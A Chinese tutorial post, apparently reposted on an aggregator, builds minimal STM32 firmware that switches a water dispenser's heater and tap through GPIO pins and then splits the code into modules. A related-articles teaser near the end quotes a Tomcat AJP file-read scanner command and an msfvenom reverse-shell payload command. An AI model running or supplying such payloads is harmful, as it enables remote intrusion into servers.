饮水机功能构建指导思想以及最小试验

news2024/9/24 13:22:51

饮水机功能构建指导思想以及最小试验

引言

我们饮水机, 其实就只有两个必须使用的功能, 一个是控制加热, 一个是控制放水, 我们现在就可以直接实现这两个功能.

我们使用stm32单片机, 直接控制两个io口的高低电平, 通过继电器, 就可以控制大电流设备的开关. 没错这就已经结束了, 饮水机项目已经完成了.

但是我们控制加热及其开关,还想要结合其他因素, 比如加热,想结合用户设置的水温阈值, 达温即停,并且用户可以远程控制加热的开关.

我们家庭有小宝宝的用户, 想要达到绝对的安全, 不让小孩子误触,造成烫伤 , 我们就不能直接放水,而是通过一系列检测措施, 只在真正安全的情况下放水, 比如, 放上杯子后, 用户按下开关,在童锁关闭的情况下, 我们才放水。

对于上述,功能我们慢慢加入 , 现在直接实现, 加热和放水。以及对应的 解耦文件。

实现加热和放水的io直接控制

1.创建最小例程

创建stm32f103c8t6基本工程_keil stm32f103c8t6 工程-CSDN博客

2.创建完成后, 我们打开main.c

我们选中PA6, PA7分别为加热控制和放水控制的io口

所以我们直接进行初始化, 然后控制io口电平, 观察现象

main.c文件代码

#include "stm32f10x.h"                  // Device header

void HEAT_water_Init(void)
{
	GPIO_InitTypeDef GPIO_InitStructure;

    RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);
    

    GPIO_InitStructure.GPIO_Pin = GPIO_Pin_6;
    GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
    GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
    GPIO_Init(GPIOA, &GPIO_InitStructure);   

	GPIO_ResetBits(GPIOA, GPIO_Pin_6);	
	
}

void OUT_water_Init(void)
{
	GPIO_InitTypeDef GPIO_InitStructure;

    RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);
    

    GPIO_InitStructure.GPIO_Pin = GPIO_Pin_7;
    GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
    GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
    GPIO_Init(GPIOA, &GPIO_InitStructure);   
	
	GPIO_ResetBits(GPIOA, GPIO_Pin_7);
	
}

int main(void)
{
	//加热初始化
	HEAT_water_Init();
	//开水初始化
	OUT_water_Init();
	//加热
	GPIO_SetBits(GPIOA, GPIO_Pin_6);	
	//开水龙头
	GPIO_SetBits(GPIOA, GPIO_Pin_7);
	while(1)
	{
	
	}
}	

  1. 编译运行, 烧录进最小板, 观察现象

    烧录方法:https://blog.csdn.net/qq_57484399/article/details/141263965
    跳转

    加热小灯和开水小灯连线视频:

    跳转

3a78b7f6280c46ba0d872008411c11b

加热和开关水代码解耦

我们结合预警系统的fun和led的思想, 进行解耦, 分离, 通过函数传入状态, 从而控制 加热和 开水

导入出水和加热模块的文件夹

导入文件夹固定步骤:

创建stm32f103c8t6基本工程_keil stm32f103c8t6 工程-CSDN博客

从第九步开始

image-20240816195755049

加热模块

文件夹名字: Heatmodule

文件名: heat.c 和 heat.h

image-20240816200609185

出水模块

文件夹名字: out_water

文件名: out_water.c 和 out_water.h

image-20240816200636672

加热和开水解耦代码索引:

跳转

https://blog.csdn.net/qq_57484399/article/details/141268237

在锤子里面, 记得保存对应的文件夹路径 (上面导入文件夹固定步骤包含,这里只做提醒)

image-20240816201418385

main.c函数内调用

(1)引入heat.c何out_water.c的头文件

image-20240816201626145

(2)初始化对应的器件函数

image-20240816201651978

(3)为了优雅的控制器件,还有器件控制的可读性, 我们调用器件 控制函数,然后传入状态

image-20240816201751795

(4)烧录, 然后观察现象, 把传入的状态,换成

image-20240816201821447

image-20240816201836035

(5)观察现象

3a78b7f6280c46ba0d872008411c11b

至此艺术已成

优雅的控制加热和开水, 并且我们直接把此调用函数,放在while循环里面照样可以避免, 重复启动器件的老问题,因为我们在操作器件的时候, 加入了判断状态的控制

image-20240816202021348

image-20240816202043869

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2046409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

时间序列预测 | CEEMDAN+CNN+Transformer多变量时间序列预测(Python)

目录 效果一览基本介绍程序设计参考资料 效果一览 基本介绍 时间序列预测 | CEEMDANCNNTransformer多变量时间序列预测(Python) 时间序列预测 创新点 多尺度特征提取:CEEMDAN将复杂的时间序列分解成多个IMFs,使得CNN和Transforme…

【TVM 教程】在 Adreno™ 上部署预训练模型

本文是一个逐步教程,演示如何在 Adreno 上(不同精度)部署预训练的 PyTorch ResNet-18 模型。 首先,我们需要安装 PyTorch 与 TorchVision,因为我们将使用它作为我们的模型库。 可以通过 pip 快速安装: p…

【Linux】Linux环境基础开发工具使用之Linux编译器-gcc/g++使用

目录 一、编译过程二、gcc/g如何完成三、error: for loop initial declarations are only allowed in C99 mode 的解决方法四、预处理五、编译六、汇编七、链接八、数据库8.1 动态库8.2 静态库8.3 动/静态链接的优缺点 结尾 一、编译过程 预处理(头文件的展开、宏替…

计算机网络12——IM聊天系统——项目分析和架构搭建

1、IM——聊天系统主要功能 (1)注册 根据:昵称,手机号,密码 (2)登录 根据:手机号,密码 (3)添加好友 根据:昵称 (4&…

【IR】Counterfactual Explainer on Graphs

图神经网络的反事实解释:最新文章略读 Survey [ 5 ] ^{[5]} [5]CFAD [ 1 ] ^{[1]} [1]CAF [ 3 ] ^{[3]} [3]GCFExplainer [ 2 ] ^{[2]} [2]CFE [ 4 ] ^{[4]} [4]RCExplainer [ 6 ] ^{[6]} [6]CF-GNNExplainer [ 7 ] ^{[7]} [7]Ref Survey [ 5 ] ^{[5]} [5] NeurIP…

Ubuntu24.04使用SRS 搭建 RTMP流媒体服务器

一、简介 SRS(Simple Realtime Server)是一个简单高效的实时视频服务器, 是国人写的一款非常优秀的开源流媒体服务器软件,可用于直播/录播/视频客服等多种场景,其定位是运营级的互联网直播服务器集群。支持RTMP/WebRTC/HLS/HTTP-FLV/SRT/GB28…

基于html5的网上团购系统设计与实现

TOC springboot301基于html5的网上团购系统设计与实现 第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代,也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端,也就是电脑互联网时…

编码在左,学习在右,你心中的天平如何倾斜?

目录 前言 程序员如何平衡日常编码工作与提升式学习? 养成高效编码习惯 掌握时间管理技巧 提升式学习的策略 广泛涉猎的优势与考虑因素 深入钻研的优势与考虑因素 职业发展与个人成长的和谐共生 结束语 前言 程序员如何平衡日常编码工作与提升式学习&#…

vue项目配置基础路由vue-router

1、运行以下命令安装vue-router yarn add vue-router 2、在src目录下的components中新建两个vue页面 3、在src目录下新建router文件夹,在router文件夹下面新建index.js文件 4、配置main.js文件 //引入Vue import Vue from "vue"; //引入App import App…

demo测试

目录 接口commonCodeGenerator entityuser mapperUserMapper controllerUserController serviceUserServiceimplUserServiceImpl mapper.xmlpom.xmlapplication.yml 接口 common CodeGenerator package com.llz.demo.common;import com.baomidou.mybatisplus.core.exceptions…

P2680 [NOIP2015 提高组] 运输计划(树上二分答案)

[NOIP2015 提高组] 运输计划 - 洛谷 核心思路 树上二分答案。答案这个字眼很重要&#xff0c;因为&#xff0c;二分出来的就是答案。 拟合经验。 AC 代码 #include<iostream> #include<vector> #include<cstring> #include<algorithm> #include&l…

如何选择合适的虚拟机软件?对比Parallels Desktop 和VMware Fusion 使用虚拟机畅玩黑神话悟空

随着技术的发展&#xff0c;虚拟机软件将更加高效地管理和分配系统资源。虚拟机软件扮演着越来越重要的角色。无论是软件开发者需要测试不同操作系统环境下的应用&#xff0c;还是普通用户希望在一台机器上同时运行多个操作系统&#xff0c;虚拟机软件都是不可或缺的工具。那么…

RocketMQ的事务消息是如何实现的

什么是分布式事务&#xff1f; 分布式事务解决的是多数据源数据一致性问题。 事务消息是 Apache RocketMQ 提供的一种高级消息类型&#xff0c;支持在分布式场景下保障消息生产和本地事务的最终一致性。 为什么要使用 MQ 来做分布式事务&#xff1f; 举个例子&#xff0c;假…

JVM对象在堆、栈、TLAP上的分配

文章目录 前言堆中对象的分配策略大对象直接进入老年代 本地内存分配缓冲区(Thread-local allocation buffer)对象分配在栈上逃逸分析概述演示发生逃逸的对象演示发生逃逸的对象StringBuffer不发生逃逸 逃逸分析之栈上分配逃逸分析之同步省略逃逸分析之标量替换 总结 前言 一般…

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…

C++ | Leetcode C++题解之第338题比特位计数

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> countBits(int n) {vector<int> bits(n 1);for (int i 1; i < n; i) {bits[i] bits[i & (i - 1)] 1;}return bits;} };

Windows安装MySQL时出现Install/Remove of the Service Denied!解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

计算机毕业设计选题推荐-医院问诊系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

Java语言程序设计基础篇_编程练习题**16.17(使用ScrollBar和Slider)

目录 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 习题思路 示例代码 结果展示 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 编写一个程序&#xff0c;使用滚动条或者滑动条选择文本的颜色&#xff0c;如图16-43所示。使用四个水平滚动条选择颜色&a…

【STM32F4】——DMA初始化结构体详解

一.DMA_InitTypeDef 初始化结构体 typedef struct {uint32_t DMA_Channel; //通道选择 uint32_t DMA_PeripheralBaseAddr;//外设地址uint32_t DMA_Memory0BaseAddr; //存储器 0 地址uint32_t DMA_DIR; //传输方向 uint32_t DMA_BufferSize; /…